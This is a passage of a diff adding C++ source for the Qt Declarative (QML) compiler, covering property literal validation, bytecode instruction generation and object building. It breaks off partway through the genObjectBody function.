+#include "private/qdeclarativeparser_p.h"
+#include "private/qdeclarativescriptparser_p.h"
+#include "qdeclarativepropertyvaluesource.h"
+#include "qdeclarativecomponent.h"
+#include "private/qmetaobjectbuilder_p.h"
+#include "private/qdeclarativestringconverters_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "qdeclarativeengine.h"
+#include "qdeclarativecontext.h"
+#include "private/qdeclarativemetatype_p.h"
+#include "private/qdeclarativecustomparser_p_p.h"
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativecomponent_p.h"
+#include "parser/qdeclarativejsast_p.h"
+#include "private/qdeclarativevmemetaobject_p.h"
+#include "private/qdeclarativeexpression_p.h"
+#include "private/qdeclarativeproperty_p.h"
+#include "private/qdeclarativerewrite_p.h"
+#include "qdeclarativescriptstring.h"
+#include "private/qdeclarativeglobal_p.h"
+#include "private/qdeclarativescriptparser_p.h"
+#include "private/qdeclarativebinding_p.h"
+#include "private/qdeclarativecompiledbindings_p.h"
+#include "private/qdeclarativeglobalscriptclass_p.h"
+
+#include <QColor>
+#include <QDebug>
+#include <QPointF>
+#include <QSizeF>
+#include <QRectF>
+#include <QAtomicInt>
+#include <QtCore/qdebug.h>
+#include <QtCore/qdatetime.h>
+
+QT_BEGIN_NAMESPACE
+
+DEFINE_BOOL_CONFIG_OPTION(compilerDump, QML_COMPILER_DUMP);
+DEFINE_BOOL_CONFIG_OPTION(compilerStatDump, QML_COMPILER_STATS);
+DEFINE_BOOL_CONFIG_OPTION(bindingsDump, QML_BINDINGS_DUMP);
+
+using namespace QDeclarativeParser;
+
+/*!
+ Instantiate a new QDeclarativeCompiler.
+*/
+QDeclarativeCompiler::QDeclarativeCompiler()
+: output(0), engine(0), unitRoot(0), unit(0)
+{
+}
+
+/*!
+ Returns true if the last call to compile() caused errors.
+
+ \sa errors()
+*/
+bool QDeclarativeCompiler::isError() const
+{
+ return !exceptions.isEmpty();
+}
+
+/*!
+ Return the list of errors from the last call to compile(), or an empty list
+ if there were no errors.
+*/
+QList<QDeclarativeError> QDeclarativeCompiler::errors() const
+{
+ return exceptions;
+}
+
+/*!
+ Returns true if \a name refers to an attached property, false otherwise.
+
+ Attached property names are those that start with a capital letter.
+*/
+bool QDeclarativeCompiler::isAttachedPropertyName(const QByteArray &name)
+{
+ return !name.isEmpty() && name.at(0) >= 'A' && name.at(0) <= 'Z';
+}
+
+/*!
+ Returns true if \a name refers to a signal property, false otherwise.
+
+ Signal property names are those that start with "on", followed by a capital
+ letter.
+*/
+bool QDeclarativeCompiler::isSignalPropertyName(const QByteArray &name)
+{
+ return name.length() >= 3 && name.startsWith("on") &&
+ 'A' <= name.at(2) && 'Z' >= name.at(2);
+}
+
+/*!
+ \macro COMPILE_EXCEPTION
+ \internal
+ Inserts an error into the QDeclarativeCompiler error list, and returns false
+ (failure).
+
+ \a token is used to source the error line and column, and \a desc is the
+ error itself. \a desc can be an expression that can be piped into QDebug.
+
+ For example:
+
+ \code
+ COMPILE_EXCEPTION(property, tr("Error for property \"%1\"").arg(QString::fromUtf8(property->name)));
+ \endcode
+*/
+#define COMPILE_EXCEPTION(token, desc) \
+ { \
+ QString exceptionDescription; \
+ QDeclarativeError error; \
+ error.setUrl(output->url); \
+ error.setLine((token)->location.start.line); \
+ error.setColumn((token)->location.start.column); \
+ error.setDescription(desc.trimmed()); \
+ exceptions << error; \
+ return false; \
+ }
+
+/*!
+ \macro COMPILE_CHECK
+ \internal
+ Returns false if \a is false, otherwise does nothing.
+*/
+#define COMPILE_CHECK(a) \
+ { \
+ if (!a) return false; \
+ }
+
+/*!
+ Returns true if literal \a v can be assigned to property \a prop, otherwise
+ false.
+
+ This test corresponds to action taken by genLiteralAssignment(). Any change
+ made here, must have a corresponding action in genLiteralAssigment().
+*/
+bool QDeclarativeCompiler::testLiteralAssignment(const QMetaProperty &prop,
+ QDeclarativeParser::Value *v)
+{
+ QString string = v->value.asString();
+
+ if (!prop.isWritable())
+ COMPILE_EXCEPTION(v, tr("Invalid property assignment: \"%1\" is a read-only property").arg(QString::fromUtf8(prop.name())));
+
+ if (prop.isEnumType()) {
+ int value;
+ if (prop.isFlagType()) {
+ value = prop.enumerator().keysToValue(string.toUtf8().constData());
+ } else
+ value = prop.enumerator().keyToValue(string.toUtf8().constData());
+ if (value == -1)
+ COMPILE_EXCEPTION(v, tr("Invalid property assignment: unknown enumeration"));
+ return true;
+ }
+ int type = prop.userType();
+ switch(type) {
+ case -1:
+ break;
+ case QVariant::String:
+ if (!v->value.isString()) COMPILE_EXCEPTION(v, tr("Invalid property assignment: string expected"));
+ break;
+ case QVariant::Url:
+ if (!v->value.isString()) COMPILE_EXCEPTION(v, tr("Invalid property assignment: url expected"));
+ break;
+ case QVariant::UInt:
+ {
+ bool ok = v->value.isNumber();
+ if (ok) {
+ double n = v->value.asNumber();
+ if (double(uint(n)) != n)
+ ok = false;
+ }
+ if (!ok) COMPILE_EXCEPTION(v, tr("Invalid property assignment: unsigned int expected"));
+ }
+ break;
+ case QVariant::Int:
+ {
+ bool ok = v->value.isNumber();
+ if (ok) {
+ double n = v->value.asNumber();
+ if (double(int(n)) != n)
+ ok = false;
+ }
+ if (!ok) COMPILE_EXCEPTION(v, tr("Invalid property assignment: int expected"));
+ }
+ break;
+ case QMetaType::Float:
+ if (!v->value.isNumber()) COMPILE_EXCEPTION(v, tr("Invalid property assignment: number expected"));
+ break;
+ case QVariant::Double:
+ if (!v->value.isNumber()) COMPILE_EXCEPTION(v, tr("Invalid property assignment: number expected"));
+ break;
+ case QVariant::Color:
+ {
+ bool ok;
+ QDeclarativeStringConverters::colorFromString(string, &ok);
+ if (!ok) COMPILE_EXCEPTION(v, tr("Invalid property assignment: color expected"));
+ }
+ break;
+#ifndef QT_NO_DATESTRING
+ case QVariant::Date:
+ {
+ bool ok;
+ QDeclarativeStringConverters::dateFromString(string, &ok);
+ if (!ok) COMPILE_EXCEPTION(v, tr("Invalid property assignment: date expected"));
+ }
+ break;
+ case QVariant::Time:
+ {
+ bool ok;
+ QDeclarativeStringConverters::timeFromString(string, &ok);
+ if (!ok) COMPILE_EXCEPTION(v, tr("Invalid property assignment: time expected"));
+ }
+ break;
+ case QVariant::DateTime:
+ {
+ bool ok;
+ QDeclarativeStringConverters::dateTimeFromString(string, &ok);
+ if (!ok) COMPILE_EXCEPTION(v, tr("Invalid property assignment: datetime expected"));
+ }
+ break;
+#endif // QT_NO_DATESTRING
+ case QVariant::Point:
+ case QVariant::PointF:
+ {
+ bool ok;
+ QPointF point = QDeclarativeStringConverters::pointFFromString(string, &ok);
+ if (!ok) COMPILE_EXCEPTION(v, tr("Invalid property assignment: point expected"));
+ }
+ break;
+ case QVariant::Size:
+ case QVariant::SizeF:
+ {
+ bool ok;
+ QSizeF size = QDeclarativeStringConverters::sizeFFromString(string, &ok);
+ if (!ok) COMPILE_EXCEPTION(v, tr("Invalid property assignment: size expected"));
+ }
+ break;
+ case QVariant::Rect:
+ case QVariant::RectF:
+ {
+ bool ok;
+ QRectF rect = QDeclarativeStringConverters::rectFFromString(string, &ok);
+ if (!ok) COMPILE_EXCEPTION(v, tr("Invalid property assignment: rect expected"));
+ }
+ break;
+ case QVariant::Bool:
+ {
+ if (!v->value.isBoolean()) COMPILE_EXCEPTION(v, tr("Invalid property assignment: boolean expected"));
+ }
+ break;
+ case QVariant::Vector3D:
+ {
+ bool ok;
+ QDeclarativeStringConverters::vector3DFromString(string, &ok);
+ if (!ok) COMPILE_EXCEPTION(v, tr("Invalid property assignment: 3D vector expected"));
+ }
+ break;
+ default:
+ {
+ int t = prop.userType();
+ QDeclarativeMetaType::StringConverter converter =
+ QDeclarativeMetaType::customStringConverter(t);
+ if (!converter)
+ COMPILE_EXCEPTION(v, tr("Invalid property assignment: unsupported type \"%1\"").arg(QString::fromLatin1(QVariant::typeToName(prop.type()))));
+ }
+ break;
+ }
+ return true;
+}
+
+/*!
+ Generate a store instruction for assigning literal \a v to property \a prop.
+
+ Any literal assignment that is approved in testLiteralAssignment() must have
+ a corresponding action in this method.
+*/
+void QDeclarativeCompiler::genLiteralAssignment(const QMetaProperty &prop,
+ QDeclarativeParser::Value *v)
+{
+ QString string = v->value.asString();
+
+ QDeclarativeInstruction instr;
+ instr.line = v->location.start.line;
+ if (prop.isEnumType()) {
+ int value;
+ if (prop.isFlagType()) {
+ value = prop.enumerator().keysToValue(string.toUtf8().constData());
+ } else
+ value = prop.enumerator().keyToValue(string.toUtf8().constData());
+
+ instr.type = QDeclarativeInstruction::StoreInteger;
+ instr.storeInteger.propertyIndex = prop.propertyIndex();
+ instr.storeInteger.value = value;
+ output->bytecode << instr;
+ return;
+ }
+
+ int type = prop.userType();
+ switch(type) {
+ case -1:
+ {
+ if (v->value.isNumber()) {
+ double n = v->value.asNumber();
+ if (double(int(n)) == n) {
+ instr.type = QDeclarativeInstruction::StoreVariantInteger;
+ instr.storeInteger.propertyIndex = prop.propertyIndex();
+ instr.storeInteger.value = int(n);
+ } else {
+ instr.type = QDeclarativeInstruction::StoreVariantDouble;
+ instr.storeDouble.propertyIndex = prop.propertyIndex();
+ instr.storeDouble.value = n;
+ }
+ } else if(v->value.isBoolean()) {
+ instr.type = QDeclarativeInstruction::StoreVariantBool;
+ instr.storeBool.propertyIndex = prop.propertyIndex();
+ instr.storeBool.value = v->value.asBoolean();
+ } else {
+ instr.type = QDeclarativeInstruction::StoreVariant;
+ instr.storeString.propertyIndex = prop.propertyIndex();
+ instr.storeString.value = output->indexForString(string);
+ }
+ }
+ break;
+ case QVariant::String:
+ {
+ instr.type = QDeclarativeInstruction::StoreString;
+ instr.storeString.propertyIndex = prop.propertyIndex();
+ instr.storeString.value = output->indexForString(string);
+ }
+ break;
+ case QVariant::Url:
+ {
+ instr.type = QDeclarativeInstruction::StoreUrl;
+ QUrl u = string.isEmpty() ? QUrl() : output->url.resolved(QUrl(string));
+ instr.storeUrl.propertyIndex = prop.propertyIndex();
+ instr.storeUrl.value = output->indexForUrl(u);
+ }
+ break;
+ case QVariant::UInt:
+ {
+ instr.type = QDeclarativeInstruction::StoreInteger;
+ instr.storeInteger.propertyIndex = prop.propertyIndex();
+ instr.storeInteger.value = uint(v->value.asNumber());
+ }
+ break;
+ case QVariant::Int:
+ {
+ instr.type = QDeclarativeInstruction::StoreInteger;
+ instr.storeInteger.propertyIndex = prop.propertyIndex();
+ instr.storeInteger.value = int(v->value.asNumber());
+ }
+ break;
+ case QMetaType::Float:
+ {
+ instr.type = QDeclarativeInstruction::StoreFloat;
+ instr.storeFloat.propertyIndex = prop.propertyIndex();
+ instr.storeFloat.value = float(v->value.asNumber());
+ }
+ break;
+ case QVariant::Double:
+ {
+ instr.type = QDeclarativeInstruction::StoreDouble;
+ instr.storeDouble.propertyIndex = prop.propertyIndex();
+ instr.storeDouble.value = v->value.asNumber();
+ }
+ break;
+ case QVariant::Color:
+ {
+ QColor c = QDeclarativeStringConverters::colorFromString(string);
+ instr.type = QDeclarativeInstruction::StoreColor;
+ instr.storeColor.propertyIndex = prop.propertyIndex();
+ instr.storeColor.value = c.rgba();
+ }
+ break;
+#ifndef QT_NO_DATESTRING
+ case QVariant::Date:
+ {
+ QDate d = QDeclarativeStringConverters::dateFromString(string);
+ instr.type = QDeclarativeInstruction::StoreDate;
+ instr.storeDate.propertyIndex = prop.propertyIndex();
+ instr.storeDate.value = d.toJulianDay();
+ }
+ break;
+ case QVariant::Time:
+ {
+ QTime time = QDeclarativeStringConverters::timeFromString(string);
+ int data[] = { time.hour(), time.minute(),
+ time.second(), time.msec() };
+ int index = output->indexForInt(data, 4);
+ instr.type = QDeclarativeInstruction::StoreTime;
+ instr.storeTime.propertyIndex = prop.propertyIndex();
+ instr.storeTime.valueIndex = index;
+ }
+ break;
+ case QVariant::DateTime:
+ {
+ QDateTime dateTime = QDeclarativeStringConverters::dateTimeFromString(string);
+ int data[] = { dateTime.date().toJulianDay(),
+ dateTime.time().hour(),
+ dateTime.time().minute(),
+ dateTime.time().second(),
+ dateTime.time().msec() };
+ int index = output->indexForInt(data, 5);
+ instr.type = QDeclarativeInstruction::StoreDateTime;
+ instr.storeDateTime.propertyIndex = prop.propertyIndex();
+ instr.storeDateTime.valueIndex = index;
+ }
+ break;
+#endif // QT_NO_DATESTRING
+ case QVariant::Point:
+ case QVariant::PointF:
+ {
+ bool ok;
+ QPointF point =
+ QDeclarativeStringConverters::pointFFromString(string, &ok);
+ float data[] = { float(point.x()), float(point.y()) };
+ int index = output->indexForFloat(data, 2);
+ if (type == QVariant::PointF)
+ instr.type = QDeclarativeInstruction::StorePointF;
+ else
+ instr.type = QDeclarativeInstruction::StorePoint;
+ instr.storeRealPair.propertyIndex = prop.propertyIndex();
+ instr.storeRealPair.valueIndex = index;
+ }
+ break;
+ case QVariant::Size:
+ case QVariant::SizeF:
+ {
+ bool ok;
+ QSizeF size = QDeclarativeStringConverters::sizeFFromString(string, &ok);
+ float data[] = { float(size.width()), float(size.height()) };
+ int index = output->indexForFloat(data, 2);
+ if (type == QVariant::SizeF)
+ instr.type = QDeclarativeInstruction::StoreSizeF;
+ else
+ instr.type = QDeclarativeInstruction::StoreSize;
+ instr.storeRealPair.propertyIndex = prop.propertyIndex();
+ instr.storeRealPair.valueIndex = index;
+ }
+ break;
+ case QVariant::Rect:
+ case QVariant::RectF:
+ {
+ bool ok;
+ QRectF rect = QDeclarativeStringConverters::rectFFromString(string, &ok);
+ float data[] = { float(rect.x()), float(rect.y()),
+ float(rect.width()), float(rect.height()) };
+ int index = output->indexForFloat(data, 4);
+ if (type == QVariant::RectF)
+ instr.type = QDeclarativeInstruction::StoreRectF;
+ else
+ instr.type = QDeclarativeInstruction::StoreRect;
+ instr.storeRect.propertyIndex = prop.propertyIndex();
+ instr.storeRect.valueIndex = index;
+ }
+ break;
+ case QVariant::Bool:
+ {
+ bool b = v->value.asBoolean();
+ instr.type = QDeclarativeInstruction::StoreBool;
+ instr.storeBool.propertyIndex = prop.propertyIndex();
+ instr.storeBool.value = b;
+ }
+ break;
+ case QVariant::Vector3D:
+ {
+ bool ok;
+ QVector3D vector =
+ QDeclarativeStringConverters::vector3DFromString(string, &ok);
+ float data[] = { float(vector.x()), float(vector.y()), float(vector.z()) };
+ int index = output->indexForFloat(data, 3);
+ instr.type = QDeclarativeInstruction::StoreVector3D;
+ instr.storeRealPair.propertyIndex = prop.propertyIndex();
+ instr.storeRealPair.valueIndex = index;
+ }
+ break;
+ default:
+ {
+ int t = prop.userType();
+ int index = output->customTypeData.count();
+ instr.type = QDeclarativeInstruction::AssignCustomType;
+ instr.assignCustomType.propertyIndex = prop.propertyIndex();
+ instr.assignCustomType.valueIndex = index;
+
+ QDeclarativeCompiledData::CustomTypeData data;
+ data.index = output->indexForString(string);
+ data.type = t;
+ output->customTypeData << data;
+ }
+ break;
+ }
+ output->bytecode << instr;
+}
+
+/*!
+ Resets data by clearing the lists that the QDeclarativeCompiler modifies.
+*/
+void QDeclarativeCompiler::reset(QDeclarativeCompiledData *data)
+{
+ data->types.clear();
+ data->primitives.clear();
+ data->floatData.clear();
+ data->intData.clear();
+ data->customTypeData.clear();
+ data->datas.clear();
+ data->bytecode.clear();
+}
+
+/*!
+ Compile \a unit, and store the output in \a out. \a engine is the QDeclarativeEngine
+ with which the QDeclarativeCompiledData will be associated.
+
+ Returns true on success, false on failure. On failure, the compile errors
+ are available from errors().
+
+ If the environment variant QML_COMPILER_DUMP is set
+ (eg. QML_COMPILER_DUMP=1) the compiled instructions will be dumped to stderr
+ on a successful compiler.
+*/
+bool QDeclarativeCompiler::compile(QDeclarativeEngine *engine,
+ QDeclarativeTypeData *unit,
+ QDeclarativeCompiledData *out)
+{
+ exceptions.clear();
+
+ Q_ASSERT(out);
+ reset(out);
+
+ output = out;
+
+ // Compile types
+ const QList<QDeclarativeTypeData::TypeReference> &resolvedTypes = unit->resolvedTypes();
+ QList<QDeclarativeScriptParser::TypeReference *> referencedTypes = unit->parser().referencedTypes();
+
+ for (int ii = 0; ii < resolvedTypes.count(); ++ii) {
+ QDeclarativeCompiledData::TypeReference ref;
+
+ const QDeclarativeTypeData::TypeReference &tref = resolvedTypes.at(ii);
+ QDeclarativeScriptParser::TypeReference *parserRef = referencedTypes.at(ii);
+
+ if (tref.type) {
+ ref.type = tref.type;
+ if (!ref.type->isCreatable()) {
+ QString err = ref.type->noCreationReason();
+ if (err.isEmpty())
+ err = tr( "Element is not creatable.");
+ COMPILE_EXCEPTION(parserRef->refObjects.first(), err);
+ }
+
+ if (ref.type->containsRevisionedAttributes()) {
+ QDeclarativeError cacheError;
+ ref.typePropertyCache =
+ QDeclarativeEnginePrivate::get(engine)->cache(ref.type, resolvedTypes.at(ii).minorVersion, cacheError);
+
+ if (!ref.typePropertyCache) {
+ COMPILE_EXCEPTION(parserRef->refObjects.first(), cacheError.description());
+ }
+ ref.typePropertyCache->addref();
+ }
+
+ } else if (tref.typeData) {
+ ref.component = tref.typeData->compiledData();
+ }
+ ref.className = parserRef->name.toUtf8();
+ out->types << ref;
+ }
+
+ QDeclarativeParser::Object *root = unit->parser().tree();
+ Q_ASSERT(root);
+
+ this->engine = engine;
+ this->enginePrivate = QDeclarativeEnginePrivate::get(engine);
+ this->unit = unit;
+ this->unitRoot = root;
+ compileTree(root);
+
+ if (!isError()) {
+ if (compilerDump())
+ out->dumpInstructions();
+ if (compilerStatDump())
+ dumpStats();
+ Q_ASSERT(out->rootPropertyCache);
+ } else {
+ reset(out);
+ }
+
+ compileState = ComponentCompileState();
+ savedCompileStates.clear();
+ output = 0;
+ this->engine = 0;
+ this->enginePrivate = 0;
+ this->unit = 0;
+ this->unitRoot = 0;
+
+ return !isError();
+}
+
+void QDeclarativeCompiler::compileTree(QDeclarativeParser::Object *tree)
+{
+ compileState.root = tree;
+ componentStat.lineNumber = tree->location.start.line;
+
+ if (!buildObject(tree, BindingContext()) || !completeComponentBuild())
+ return;
+
+ QDeclarativeInstruction init;
+ init.type = QDeclarativeInstruction::Init;
+ init.line = 0;
+ init.init.bindingsSize = compileState.bindings.count();
+ init.init.parserStatusSize = compileState.parserStatusCount;
+ init.init.contextCache = genContextCache();
+ if (compileState.compiledBindingData.isEmpty())
+ init.init.compiledBinding = -1;
+ else
+ init.init.compiledBinding = output->indexForByteArray(compileState.compiledBindingData);
+ output->bytecode << init;
+
+ // Build global import scripts
+ QHash<QString, Object::ScriptBlock> importedScripts;
+ QStringList importedScriptIndexes;
+
+ foreach (const QDeclarativeTypeData::ScriptReference &script, unit->resolvedScripts()) {
+ QString scriptCode = script.script->scriptSource();
+ Object::ScriptBlock::Pragmas pragmas = script.script->pragmas();
+
+ Q_ASSERT(!importedScripts.contains(script.qualifier));
+
+ if (!scriptCode.isEmpty()) {
+ Object::ScriptBlock &scriptBlock = importedScripts[script.qualifier];
+
+ scriptBlock.code = scriptCode;
+ scriptBlock.file = script.script->finalUrl().toString();
+ scriptBlock.pragmas = pragmas;
+ }
+ }
+
+ for (QHash<QString, Object::ScriptBlock>::Iterator iter = importedScripts.begin();
+ iter != importedScripts.end(); ++iter) {
+
+ importedScriptIndexes.append(iter.key());
+
+ QDeclarativeInstruction import;
+ import.type = QDeclarativeInstruction::StoreImportedScript;
+ import.line = 0;
+ import.storeScript.value = output->scripts.count();
+ output->scripts << *iter;
+ output->bytecode << import;
+ }
+
+ genObject(tree);
+
+ QDeclarativeInstruction def;
+ init.line = 0;
+ def.type = QDeclarativeInstruction::SetDefault;
+ output->bytecode << def;
+
+ output->importCache = new QDeclarativeTypeNameCache(engine);
+
+ for (int ii = 0; ii < importedScriptIndexes.count(); ++ii)
+ output->importCache->add(importedScriptIndexes.at(ii), ii);
+
+ unit->imports().populateCache(output->importCache, engine);
+
+ Q_ASSERT(tree->metatype);
+
+ if (tree->metadata.isEmpty()) {
+ output->root = tree->metatype;
+ } else {
+ static_cast<QMetaObject &>(output->rootData) = *tree->metaObject();
+ output->root = &output->rootData;
+ }
+ if (!tree->metadata.isEmpty())
+ enginePrivate->registerCompositeType(output);
+}
+
+static bool ValuePtrLessThan(const QDeclarativeParser::Value *t1, const QDeclarativeParser::Value *t2)
+{
+ return t1->location.start.line < t2->location.start.line ||
+ (t1->location.start.line == t2->location.start.line &&
+ t1->location.start.column < t2->location.start.column);
+}
+
+bool QDeclarativeCompiler::buildObject(QDeclarativeParser::Object *obj, const BindingContext &ctxt)
+{
+ componentStat.objects++;
+
+ Q_ASSERT (obj->type != -1);
+ const QDeclarativeCompiledData::TypeReference &tr =
+ output->types.at(obj->type);
+ obj->metatype = tr.metaObject();
+
+ if (tr.component)
+ obj->url = tr.component->url;
+ if (tr.type)
+ obj->typeName = tr.type->qmlTypeName();
+ obj->className = tr.className;
+
+ // This object is a "Component" element
+ if (tr.type && obj->metatype == &QDeclarativeComponent::staticMetaObject) {
+ COMPILE_CHECK(buildComponent(obj, ctxt));
+ return true;
+ }
+
+ // Object instantiations reset the binding context
+ BindingContext objCtxt(obj);
+
+ // Create the synthesized meta object, ignoring aliases
+ COMPILE_CHECK(checkDynamicMeta(obj));
+ COMPILE_CHECK(mergeDynamicMetaProperties(obj));
+ COMPILE_CHECK(buildDynamicMeta(obj, IgnoreAliases));
+
+ // Find the native type and check for the QDeclarativeParserStatus interface
+ QDeclarativeType *type = toQmlType(obj);
+ Q_ASSERT(type);
+ obj->parserStatusCast = type->parserStatusCast();
+ if (obj->parserStatusCast != -1)
+ compileState.parserStatusCount++;
+
+ // Check if this is a custom parser type. Custom parser types allow
+ // assignments to non-existent properties. These assignments are then
+ // compiled by the type.
+ bool isCustomParser = output->types.at(obj->type).type &&
+ output->types.at(obj->type).type->customParser() != 0;
+ QList<QDeclarativeCustomParserProperty> customProps;
+
+ // Fetch the list of deferred properties
+ QStringList deferredList = deferredProperties(obj);
+
+ // Must do id property first. This is to ensure that the id given to any
+ // id reference created matches the order in which the objects are
+ // instantiated
+ foreach(Property *prop, obj->properties) {
+ if (prop->name == "id") {
+ COMPILE_CHECK(buildProperty(prop, obj, objCtxt));
+ break;
+ }
+ }
+
+ // Merge
+ Property *defaultProperty = 0;
+ Property *skipProperty = 0;
+ if (obj->defaultProperty) {
+ const QMetaObject *metaObject = obj->metaObject();
+ Q_ASSERT(metaObject);
+ QMetaProperty p = QDeclarativeMetaType::defaultProperty(metaObject);
+ if (p.name()) {
+ Property *explicitProperty = obj->getProperty(p.name(), false);
+ if (explicitProperty && !explicitProperty->value) {
+ skipProperty = explicitProperty;
+
+ defaultProperty = new Property;
+ defaultProperty->parent = obj;
+ defaultProperty->isDefault = true;
+ defaultProperty->location = obj->defaultProperty->location;
+ defaultProperty->listValueRange = obj->defaultProperty->listValueRange;
+ defaultProperty->listCommaPositions = obj->defaultProperty->listCommaPositions;
+
+ defaultProperty->values = obj->defaultProperty->values;
+ defaultProperty->values += explicitProperty->values;
+ foreach(QDeclarativeParser::Value *value, defaultProperty->values)
+ value->addref();
+ qSort(defaultProperty->values.begin(), defaultProperty->values.end(), ValuePtrLessThan);
+
+ } else {
+ defaultProperty = obj->defaultProperty;
+ defaultProperty->addref();
+ }
+ } else {
+ defaultProperty = obj->defaultProperty;
+ defaultProperty->addref();
+ }
+ }
+
+ QDeclarativeCustomParser *cp = 0;
+ if (isCustomParser)
+ cp = output->types.at(obj->type).type->customParser();
+
+ // Build all explicit properties specified
+ foreach(Property *prop, obj->properties) {
+
+ if (prop == skipProperty)
+ continue;
+ if (prop->name == "id")
+ continue;
+
+ bool canDefer = false;
+ if (isCustomParser) {
+ if (doesPropertyExist(prop, obj) &&
+ (!(cp->flags() & QDeclarativeCustomParser::AcceptsAttachedProperties) ||
+ !isAttachedPropertyName(prop->name))) {
+ int ids = compileState.ids.count();
+ COMPILE_CHECK(buildProperty(prop, obj, objCtxt));
+ canDefer = ids == compileState.ids.count();
+ } else {
+ customProps << QDeclarativeCustomParserNodePrivate::fromProperty(prop);
+ }
+ } else {
+ if (isSignalPropertyName(prop->name)) {
+ COMPILE_CHECK(buildSignal(prop,obj,objCtxt));
+ } else {
+ int ids = compileState.ids.count();
+ COMPILE_CHECK(buildProperty(prop, obj, objCtxt));
+ canDefer = ids == compileState.ids.count();
+ }
+ }
+
+ if (canDefer && !deferredList.isEmpty() &&
+ deferredList.contains(QString::fromUtf8(prop->name)))
+ prop->isDeferred = true;
+
+ }
+
+ // Build the default property
+ if (defaultProperty) {
+ Property *prop = defaultProperty;
+
+ bool canDefer = false;
+ if (isCustomParser) {
+ if (doesPropertyExist(prop, obj)) {
+ int ids = compileState.ids.count();
+ COMPILE_CHECK(buildProperty(prop, obj, objCtxt));
+ canDefer = ids == compileState.ids.count();
+ } else {
+ customProps << QDeclarativeCustomParserNodePrivate::fromProperty(prop);
+ }
+ } else {
+ int ids = compileState.ids.count();
+ COMPILE_CHECK(buildProperty(prop, obj, objCtxt));
+ canDefer = ids == compileState.ids.count();
+ }
+
+ if (canDefer && !deferredList.isEmpty() &&
+ deferredList.contains(QString::fromUtf8(prop->name)))
+ prop->isDeferred = true;
+ }
+
+ if (defaultProperty)
+ defaultProperty->release();
+
+ // Compile custom parser parts
+ if (isCustomParser && !customProps.isEmpty()) {
+ cp->clearErrors();
+ cp->compiler = this;
+ cp->object = obj;
+ obj->custom = cp->compile(customProps);
+ cp->compiler = 0;
+ cp->object = 0;
+ foreach (QDeclarativeError err, cp->errors()) {
+ err.setUrl(output->url);
+ exceptions << err;
+ }
+ }
+
+ return true;
+}
+
+void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
+{
+ QDeclarativeCompiledData::TypeReference &tr = output->types[obj->type];
+ if (tr.type && obj->metatype == &QDeclarativeComponent::staticMetaObject) {
+ genComponent(obj);
+ return;
+ }
+
+ // Create the object
+ if (obj->custom.isEmpty() && output->types.at(obj->type).type &&
+ !output->types.at(obj->type).type->isExtendedType() && obj != compileState.root) {
+
+ QDeclarativeInstruction create;
+ create.type = QDeclarativeInstruction::CreateSimpleObject;
+ create.line = obj->location.start.line;
+ create.createSimple.create = output->types.at(obj->type).type->createFunction();
+ create.createSimple.typeSize = output->types.at(obj->type).type->createSize();
+ create.createSimple.type = obj->type;
+ create.createSimple.column = obj->location.start.column;
+ output->bytecode << create;
+
+ } else {
+
+ QDeclarativeInstruction create;
+ create.type = QDeclarativeInstruction::CreateObject;
+ create.line = obj->location.start.line;
+ create.create.column = obj->location.start.column;
+ create.create.data = -1;
+ if (!obj->custom.isEmpty())
+ create.create.data = output->indexForByteArray(obj->custom);
+ create.create.type = obj->type;
+ if (!output->types.at(create.create.type).type &&
+ !obj->bindingBitmask.isEmpty()) {
+ Q_ASSERT(obj->bindingBitmask.size() % 4 == 0);
+ create.create.bindingBits =
+ output->indexForByteArray(obj->bindingBitmask);
+ } else {
+ create.create.bindingBits = -1;
+ }
+ output->bytecode << create;
+
+ }
+
+ // Setup the synthesized meta object if necessary
+ if (!obj->metadata.isEmpty()) {
+ QDeclarativeInstruction meta;
+ meta.type = QDeclarativeInstruction::StoreMetaObject;
+ meta.line = 0;
+ meta.storeMeta.data = output->indexForByteArray(obj->metadata);
+ meta.storeMeta.aliasData = output->indexForByteArray(obj->synthdata);
+ meta.storeMeta.propertyCache = output->propertyCaches.count();
+
+ QDeclarativePropertyCache *propertyCache = obj->synthCache;
+ Q_ASSERT(propertyCache);
+ propertyCache->addref();
+
+ // Add flag for alias properties
+ if (!obj->synthdata.isEmpty()) {
+ const QDeclarativeVMEMetaData *vmeMetaData =
+ reinterpret_cast<const QDeclarativeVMEMetaData *>(obj->synthdata.constData());
+ for (int ii = 0; ii < vmeMetaData->aliasCount; ++ii) {
+ int index = obj->metaObject()->propertyOffset() + vmeMetaData->propertyCount + ii;
+ propertyCache->property(index)->flags |= QDeclarativePropertyCache::Data::IsAlias;
+ }
+ }
+
+ if (obj == unitRoot) {
+ propertyCache->addref();
+ output->rootPropertyCache = propertyCache;
+ }
+
+ output->propertyCaches << propertyCache;
+ output->bytecode << meta;
+ } else if (obj == unitRoot) {
+ output->rootPropertyCache = tr.createPropertyCache(engine);
+ output->rootPropertyCache->addref();
+ }
+
+ // Set the object id
+ if (!obj->id.isEmpty()) {
+ QDeclarativeInstruction id;
+ id.type = QDeclarativeInstruction::SetId;
+ id.line = 0;
+ id.setId.value = output->indexForString(obj->id);
+ id.setId.index = obj->idIndex;
+ output->bytecode << id;
+ }
+
+ // Begin the class
+ if (tr.type && obj->parserStatusCast != -1) {
+ QDeclarativeInstruction begin;
+ begin.type = QDeclarativeInstruction::BeginObject;
+ begin.begin.castValue = obj->parserStatusCast;
+ begin.line = obj->location.start.line;
+ output->bytecode << begin;
+ }
+
+ genObjectBody(obj);
+}
+
+void QDeclarativeCompiler::genObjectBody(QDeclarativeParser::Object *obj)
+{
+ typedef QPair<Property *, int> PropPair;
+ foreach(const PropPair &prop, obj->scriptStringProperties) {
+ QDeclarativeInstruction ss;
+ ss.type = QDeclarativeInstruction::StoreScriptString;
+ ss.storeScriptString.propertyIndex = prop.first->index;
+ ss.storeScriptString.value =
+ output->indexForString(prop.first->values.at(0)->value.asScript());
+ ss.storeScriptString.scope = prop.second;
+ output->bytecode << ss;
+ }
+
+ bool seenDefer = false;
+ foreach(Property *prop, obj->valueProperties) {
+ if (prop->isDeferred) {
+ seenDefer = true;
+ continue;
+ }
+ if (!prop->isAlias)
+ genValueProperty(prop, obj);
+ }
+ if (seenDefer) {
+ QDeclarativeInstruction defer;
+ defer.type = QDeclarativeInstruction::Defer;
+ defer.line = 0;
+ defer.defer.deferCount = 0;
+ int deferIdx = output->bytecode.count();
+ output->bytecode << defer;
+
+ QDeclarativeInstruction init;
+ init.type = QDeclarativeInstruction::Init;
